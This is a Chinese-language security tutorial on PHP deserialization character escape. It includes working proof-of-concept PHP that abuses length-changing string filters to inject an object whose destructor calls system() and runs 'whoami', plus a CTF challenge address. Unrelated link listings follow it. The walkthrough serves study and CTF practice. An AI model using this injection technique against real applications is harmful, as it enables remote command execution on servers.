首发先知社区,https://xz.aliyun.com/t/6718/

PHP 反序列化字符逃逸

  • 下述所有测试均在 php 7.1.13 nts 下完成

  • 先说几个特性,PHP 在反序列化时,对类中不存在的属性也会进行反序列化

  • PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的

  • 比如:在一个正常的反序列化的代码输入 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";} ,会得到如下结果

  • 如果换成 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa"; 仍然是上面的结果,但是如果修改它的长度,比如换成 a:2:{i:0;s:6:"peri0d";i:1;s:4:"aaaaa";} 就会报错

  • 这里给个例子,将 x 替换为 yy ,如何去修改密码?

<?php
function filter($string){
return preg_match('/x/','yy',$string);
} $username = "peri0d";
$password = "aaaaa";
$user = array($username, $password); var_dump(serialize($user));
echo '\n'; $r = filter(serialize($user)); var_dump($r);
echo '\n'; var_dump(unserialize($r));
  • 正常情况下的序列化结果为 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

  • 那如果把 username 换成 peri0dxxx ,其处理后的序列化结果为 a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";} ,这个时候肯定会反序列化失败的

  • 可以看到 s:9:"peri0dyyyyyy" 比以前多了 3 个字符

  • 回到前面, a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";} 想一下,它在进行修改密码之后就变为 a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}

  • 可以看到需要添加的字符串 ";i:1;s:6:"123456";} 长度为 20

  • 假设要在 peri0d 后面填充 4 个字符,那么就是 s:30:'peri0dxxxx";i:1;s:6:"123456";}'; 在经过处理之后就是 s:30:'peri0dyyyyyyyy";i:1;s:6:"123456";}'; 读取 30 个字符为 peri0dyyyyyyyy";i:1;s:6:"12345

  • 这就需要继续增加填充字符,在有 20x 时,就实现了密码的修改

  • 可以看到,这和 username 前面的 peri0d毫无关系的,只和做替换的字符串有关

看一看 Joomla 的逃逸

  • 看到有人写了简易版的 Joomla 处理反序列化的机制,修改之后代码如下:
<?php
class evil{
public $cmd; public function __construct($cmd){
$this->cmd = $cmd;
} public function __destruct(){
system($this->cmd);
}
} class User
{
public $username;
public $password; public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
} } function write($data){
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
file_put_contents("dbs.txt", $data);
} function read(){
$data = file_get_contents("dbs.txt");
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
} if(file_exists("dbs.txt")){
unlink("dbs.txt");
} $username = "peri0d";
$password = "1234";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
  • 详细的代码逻辑不再阐述,它这里就是先将 chr(0).'*'.chr(0)3 个字符替换为 \0\0\06 个字符,然后再反过来
  • 我们这里最终的目的是实现任意的对象注入
  • 正常来说,这个序列化结果为 O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";} ,我这里的目的是要把 password 的字段替换为我的 payloads:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}
  • 那么可以想一下,一种可能的结果就是 O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
  • 如果不清楚这个序列化怎么得到的,可以做一个反向的尝试,因为这是已经知道了要进行对象注入,可以在 User 中多加一个 $ts
<?php
class evil{
public $cmd;
public function __construct($cmd){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
} class User
{
public $username;
public $password;
public $ts;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
$username = "peri0d";
$password = "1234";
$r = new User($username, $password);
$r->ts = new evil('whoami');
echo serialize($r);
// O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
  • 这个序列化结果中,";s:8:"password";s:4:"1234 长度为 26 ,加上 peri0d6 就是 32 了,这样就覆盖了 password 及其值,再将前面的属性改为 2 就符合原来的源码含义了,而且它是可以成功反序列化的
  • 接下来就是如何构造 O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}} ,很明显要利用前面的替换使 peri0d 扩增来覆盖 password ,然后将 payload 作为 password 的值输入,以达到 payload 注入
  • 先修改 username="peri0d\\0\\0\\0"$password = "123456".$payload 得到序列化结果为 O:4:"User":2:O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
  • 发现有问题,修改 $password = '123456";'.$payload."}"
  • 就得到了符合规范的序列化结果 O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:56:"123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}
  • 这个肯定反序列化不了,这里就想一下,如果可以反序列化,结果如下,用 N 代表 NULL : O:4:"User":2:{s:8:"username";s:12:"peri0dN*N";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
  • 这就会多出来 3 个字符,这里一定是按照 3 的倍数进行字符增加的,而 ";s:8:"password";s:56:"123456 长度为 29 ,这就需要进行增加或减少,从而去凑 3 的倍数,这里选择减少,使 password1234 则长度为 27 ,即需要 9\0\0\0
  • 最终的 payload :
<?php
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
$password = '1234";'.$payload."}";
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
  • 结果:

  • 顺便扯一句,这个可以作为一个 CTF 赛题出现,题目名就叫 Joomla,完全没毛病

  • 题目地址:http://47.101.71.47:9000/

参考链接

详解PHP反序列化中的字符逃逸的更多相关文章

  1. 详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别

    详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别 http://blog.sina.com.cn/s/blog_686999de0100jgda.html   实例: ...

  2. 详解 Go 语言中的 time.Duration 类型

    swardsman详解 Go 语言中的 time.Duration 类型swardsman · 2018-03-17 23:10:54 · 5448 次点击 · 预计阅读时间 5 分钟 · 31分钟之 ...

  3. 详解jquery插件中(function ( $, window, document, undefined )的作用。

    1.(function(window,undefined){})(window); Q:(function(window,undefined){})(window);中为什么要将window和unde ...

  4. zz详解深度学习中的Normalization,BN/LN/WN

    详解深度学习中的Normalization,BN/LN/WN 讲得是相当之透彻清晰了 深度神经网络模型训练之难众所周知,其中一个重要的现象就是 Internal Covariate Shift. Ba ...

  5. [转载]详解网络传输中的三张表,MAC地址表、ARP缓存表以及路由表

    [转载]详解网络传输中的三张表,MAC地址表.ARP缓存表以及路由表 虽然学过了计算机网络,但是这部分还是有点乱.正好在网上看到了一篇文章,讲的很透彻,转载过来康康. 本文出自 "邓奇的Bl ...

  6. 详解WebService开发中四个常见问题(2)

    详解WebService开发中四个常见问题(2)   WebService开发中经常会碰到诸如WebService与方法重载.循环引用.数据被穿该等等问题.本文会给大家一些很好的解决方法. AD:WO ...

  7. 详解WebService开发中四个常见问题(1)

    详解WebService开发中四个常见问题(1)   WebService开发中经常会碰到诸如WebService与方法重载.循环引用.数据被穿该等等问题.本文会给大家一些很好的解决方法. AD:WO ...

  8. 详解Python编程中基本的数学计算使用

    详解Python编程中基本的数学计算使用 在Python中,对数的规定比较简单,基本在小学数学水平即可理解. 那么,做为零基础学习这,也就从计算小学数学题目开始吧.因为从这里开始,数学的基础知识列位肯 ...

  9. 第7.16节 案例详解:Python中classmethod定义的类方法

    第7.16节  案例详解:Python中classmethod定义的类方法 上节介绍了类方法定义的语法以及各种使用的场景,本节结合上节的知识具体举例说明相关内容. 一.    案例说明 本节定义的一个 ...

随机推荐

  1. 5L-链表导论心法

    链表是比数组稍微复杂一点的数据结构,也是两个非常重要与基本的数据结构.如果说数组是纪律严明排列整齐的「正规军」那么链表就是灵活多变的「地下党」. 关注公众号 MageByte,有你想要的精彩内容. 链 ...

  2. MATLAB——时间,日期及显示格式

    一.日期和时间 1.生成指定格式日期和时间 标准日期格式 2.获取当前时间的数值 >> datestr(now,) ans = -- :: >> datestr(now,'yy ...

  3. 看完这篇Exception 和 Error,和面试官扯皮就没问题了

    在 Java 中的基本理念是 结构不佳的代码不能运行,发现错误的理想时期是在编译期间,因为你不用运行程序,只是凭借着对 Java 基本理念的理解就能发现问题.但是编译期并不能找出所有的问题,有一些 N ...

  4. D - 渣渣仰慕的爱丽丝 HDU - 6249(背包问题变形)

    爱丽丝喜欢集邮.她现在在邮局买一些新邮票. 世界上有各种各样的邮票;它们的编号是1到N.但是,邮票不是单独出售的;必须成套购买.有M套不同的邮票可供选择; 第i套包括编号从li到ri的邮票 .同一枚邮 ...

  5. 关于C#三层架构增删改查中的“登录”问题

    先来一个界面: DAO中的方法: 实现代码如下: 这里需要特别注意的是一个“安全性”的考虑: 当登入成功时,把登入时输入的用户名赋值到Session,然后在后面的页面进行判断--此时Session保留 ...

  6. web页面调用支付宝支付

    web页面调用支付宝支付 此文章是前端单独模拟完成支付,若在线上环境则需要后台配合产生签名等参数 在蚂蚁金服开放平台申请沙箱环境 将沙箱环境中的密钥.应用网关.回调地址补全,生成密钥的方法在此 配置好 ...

  7. testng.xml配置

    <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE suite SYSTEM "htt ...

  8. urllib笔记

    在Python 3中,urllib2被合并到了urllib中,叫做urllib.request 和 urllib.error .urllib整个模块分为urllib.request, urllib.p ...

  9. 配置samba和NFS共享服务

                            配置samba和NFS共享服务 1案例1:配置SMB文件夹共享 1.1问题 本例要求在虚拟机server0上发布两个共享文件夹,具体要求如下: 此服务器 ...

  10. Genetic CNN: 经典NAS算法,遗传算法的标准套用 | ICCV 2017

    论文将标准的遗传算法应用到神经网络结构搜索中,首先对网络进行编码表示,然后进行遗传操作,整体方法十分简洁,搜索空间设计的十分简单,基本相当于只搜索节点间的连接方式,但是效果还是挺不错的,十分值得学习 ...